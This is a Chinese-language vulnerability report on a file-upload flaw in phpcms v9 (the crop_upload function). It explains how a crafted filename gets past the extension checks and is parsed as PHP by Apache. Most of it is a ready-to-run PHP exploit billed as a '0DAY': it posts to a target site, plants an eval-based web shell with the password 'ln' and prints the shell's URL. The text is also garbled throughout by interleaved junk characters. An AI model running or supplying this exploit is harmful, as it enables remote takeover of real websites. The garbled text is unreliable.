漏洞类型: 文件上传导致任意代码执行
8 Z4 L+ ^" r& j7 `# z) B$ N6 ]) O, R0 j# V3 N1 o, {, [
简要描述:
0 A" m+ ~6 P5 |+ l9 }* ^( x9 z
; y5 ^0 }2 u5 N9 s. r" Yphpcms v9 getshell (apache)) `" W3 c) ?) B3 g
详细说明:! D/ n" J- u: K1 r0 E9 R* P
" O8 r8 C1 [0 E$ V |漏洞文件:phpcms\modules\attachment\attachments.php
& }& O$ x% x4 {3 o
; m3 v) ^0 G( {( z0 j$ I# E6 m! ^8 ~public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } 8 q, b$ b- c4 D* i! u
后缀检测:phpcms\modules\attachment\functions\global.func.php' i% c: X8 |: A* x
+ p7 S# S7 w* `9 Q2 U+ J/ ~) @1 x
6 ~" D8 M4 V. K: @' e& v* T. K% y' k' c, [' X* E: `
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
! c2 j& d; q+ Y. b- T( U! B4 r
5 T. X0 d n" D5 T关键函数:
2 t, ^$ p3 s' Q2 U1 F! @3 U
0 Z# I2 b6 G k. W6 y. L / F% L8 E6 y& R2 Y2 x; Z" ^# L
9 _7 S8 `- [" ?/ g4 w* A$ e$ C3 `* k
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
$ i1 d) R. J* q& A8 n( E& S# X& l) z4 T% c4 U0 V& A
Fileext函数是对文件后缀名的提取。
' T6 X0 m1 Q( t根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
T, D+ S8 G, _( s! j0 f7 b$ F C经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。% p- B" G) s+ r
我们回到public function crop_upload() 函数中
7 k& y0 Z9 [# ^2 Nif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();+ ^: A; d M2 {/ Z; V; Q( q
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数0 U' C: p. K$ M' Z4 u
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
# ?5 }4 {+ w# h/ m, X- l& O# v经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
3 A; E5 \' M1 {& r最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。7 @8 n$ i! W# y& x! T
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
2 N. ]) k& Q* V* n, K1 ?漏洞证明:
7 I! M4 }7 s7 O0 q
" A& e# o# O& o* lexp:
. l O( D8 E! m) z8 {0 `3 P! f9 o x1 B9 A3 z
<?php1 i b" Y( {1 n8 E, G6 A* q% Y
error_reporting(E_ERROR);
1 R5 @! i+ W) r9 b9 h! Q, Fset_time_limit(0);
9 ~& |- @8 E# J* ]* `; y$pass="ln";
" m4 @6 N) s5 P# b9 p& I4 ~! kprint_r('$ @# O1 G6 T! X; t" y4 `, _: @2 m
+---------------------------------------------------------------------------+" C/ D" w W1 J4 L8 ^& z
PHPCms V9 GETSHELL 0DAY
. \/ a9 T$ N% e4 o7 b# x: k; |: scode by L.N.( q1 R: l/ ?8 h3 H+ O5 v- C
( a+ s5 o- e. W. q) c% C7 X% k* T
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net7 z/ V! x7 `5 W( D# V; E
+---------------------------------------------------------------------------+! d: w. C, N1 y: Q2 x2 X* u; n5 T( [
');
0 P. Q4 d* S# w& r0 n; d$ Zif ($argc < 2) {6 v( x1 K D9 s$ x3 D6 K: f
print_r('
5 a, a' t! k+ T8 b% c+---------------------------------------------------------------------------+
, k) U( } m0 [ lUsage: php '.$argv[0].' url path) Y9 E, ]' q( N" F% z% A6 `% k
" F) P9 j8 M( |% S; `/ F
Example:
2 Z' [8 `: y7 c" i1.php '.$argv[0].' lanu.sinaapp.com. U# U5 ?; F2 H8 r. m
2.php '.$argv[0].' lanu.sinaapp.com /phpcms4 `! O9 I+ @ ~0 ~5 H, c
+---------------------------------------------------------------------------+3 A" l1 t% v. _' a5 g
');$ m. q1 f+ l4 I5 K) r0 n* t
exit;
- e, R' ]% f9 `; n1 L* g, K}
2 Y% o3 J/ Z( y, l) d4 a) j; G; j+ c* h6 M) o+ |
$url = $argv[1];
4 H* k4 x+ ? e2 n/ T$path = $argv[2];
" _! g. `# t' S2 b$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
; l# P/ U/ Y0 i* i. K- L$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
% J+ @, O: n; G1 E" }9 c9 \if($ret=Create_dir($url,$path))
5 K% I6 B2 s0 W5 S) L8 [{
7 ] J1 ^# r. Z; }, D# Q. w" K; o//echo $ret;
. T, z# g$ C6 Y$pattern = "|Server:[^,]+?|U";6 B8 {5 R5 O T
preg_match_all($pattern, $ret, $matches);& |9 W8 K/ I3 u( |4 J
if($matches[0][0])
T+ d! x3 D& ^' t7 J6 }( L+ t{
8 W0 c1 z# ]/ X, W# aif(strpos($matches[0][0],'Apache') == false)
* ~7 [5 P) o& F9 @$ x) d, {" c{
7 q4 j& S. }+ {" [5 [! [echo "\n亲!此网站不是apache的网站。\n";exit;7 n5 U6 o* r2 b( v) ~: u7 y1 E( y
}
# ?+ j) a& ?+ G! s1 |}
+ R. C' `/ j. ?7 `# t* \$ret = GetShell($url,$phpshell,$path,$file);" B2 s+ r+ ]9 H" A9 w6 n
$pattern = "|http:\/\/[^,]+?\.,?|U";+ u) m+ i% Y* t- x, k* u
preg_match_all($pattern, $ret, $matches);
- M4 u: X: s- Tif($matches[0][0])
( F# |1 z* d1 q, h2 V; i{+ v' F2 B! }) m* \* g/ ^
echo "\n".'密码为: '.$pass."\n";9 u& E4 F( T; s* @3 N* K% Y4 L! Q
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
/ W: [$ w) B4 F; E' I}% q! G- q6 U& x' {! Z
else1 b5 b, m* Q* }$ z
{$ r! i% n/ l/ I0 [+ `0 u
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
2 l! u7 l( }8 Ppreg_match_all($pattern, $ret, $matches); W3 v- @# T) j
if($matches[0][0])' G9 {+ i7 }. K) z. Z, Y
{$ ?; {: W7 Q! C( x5 j9 v
echo "\n".'密码为: '.$pass."\n";
% {8 T# `1 \1 C$ y! ?echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;; c" N l4 ~" d+ M" y8 j- f
}
3 l/ ]! J% v4 P T4 @1 @0 }! H; helse
. X. E4 Z) m3 @0 ^9 u" K( i{9 ]) p& B( d' r" J
echo "\r\n没得到!\n";exit;) x! t) i1 i7 Z" `" J7 m
}6 T. p" _7 p `- r5 _2 \: D' g( n
}
- X- H7 e, ^# ~: G( [}
1 e# K: H7 x7 `3 I# M- b* E+ j' x3 D; H: d0 N
function GetShell($url,$shell,$path,$js)2 ]+ i3 H1 f# `. _# S2 ^
{
( S; i% r& E, j: I! a$content =$shell;
+ H4 L. E- D9 ]1 K) o, Y$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";4 u& s2 c' ~& |3 z- B3 q
$data .= "Host: ".$url."\r\n"; w' D _! x) v9 T5 t6 I5 Z
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";; B: M1 B$ ]; H5 J' ?% y
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";1 Y* ^1 {& N$ k6 n1 g: P
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
7 d- k% v4 B0 N3 I+ w$ }7 X$data .= "Connection: close\r\n";
0 {, m; i2 o4 d5 i, k2 W. g! Q$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
- k" F7 f2 H& _6 t$data .= $content."\r\n";' v* Y g+ u; k! V
$ock=fsockopen($url,80);- t5 P% ~7 p R5 Z5 }1 S1 e( W
if (!$ock)& h( k p L B1 e* B
{ \2 ~ q7 S' S, [: ]5 }
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;0 F# w6 C9 H* t8 S
}
* C: L8 r3 V& V; R* E2 @/ w/ \5 ]else. M6 F: H5 e* j* x7 N6 m
{
$ j" v+ i$ ?4 Y+ y$ u' c8 \fwrite($ock,$data);
: F5 l# x m9 m/ V$resp = '';4 ~- a* L% H4 x* b- M
while (!feof($ock))9 r. V' a: r! {# n& f$ f6 b' v
{; E' v+ m* g4 z% M
$resp.=fread($ock, 1024);# p( S( c* J2 Z: C3 z
}
$ C6 V% ^$ o2 xreturn $resp;" E3 s9 S: f) e& o& b" l
}6 }. o1 S; i$ S1 J, J& a% [
}6 a6 ?% A1 v t( c) ]) J
# o) O" Q4 z) x X0 [
function Create_dir($url,$path='')
$ h k+ Z+ U. q" V& e5 J{* P: O7 o. `9 c) k. }& q
$content ='I love you';- }4 [# q5 o% m. k' i
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
8 s! J1 A- }4 b, T ]$data .= "Host: ".$url."\r\n";% R5 p: h L4 e* M
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";- B( ]! ?/ K# ^$ x2 }( ]4 V
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
) X$ f/ h" ~6 l. ~* ^& C$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";+ h# ?$ z; l' [2 n
$data .= "Connection: close\r\n";5 d( [" y: I- i* H4 _0 }& z4 u
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";+ ]% [1 c( I9 E) g5 x: p# M
$data .= $content."\r\n";
- `: ]* m& O `& K. c( A( N$ock=fsockopen($url,80);6 V, L* h: }' v+ D. k4 \, ]
if (!$ock)2 R/ S* `$ K1 z6 u
{
% |% d$ W& l8 V4 S7 m [9 O: yecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;0 I$ E6 o* H0 i8 Q! j4 o. S
}* `! \0 M5 Y: N5 w; C' x( m/ O, q
fwrite($ock,$data);) Y% m# R4 z U: N3 f# Y- R( `, W
$resp = '';* U& o" ^! P* N- z
while (!feof($ock))8 G9 e# L* u. l8 r
{ g4 X) L- o) P- d7 C1 B6 l
$resp.=fread($ock, 1024);/ c6 }$ P( C: f
}
+ @0 _( q$ |/ t! K' O5 @return $resp;1 x; f5 j) B) b; w6 J. ] x
}4 C. i. E+ _ C/ }
?> $ x3 ~8 [* R; T
4 _4 |) l) C( P. F修复方案:. z' P! K" t( w, {* y7 k$ n* e5 j+ F) C
3 M1 s, K( o) t- |0 k7 [! b过滤过滤再过滤! F$ T% s* q D' M! T. N. s
1 `9 U- C8 Q4 }% j1 d Q: [9 Q
|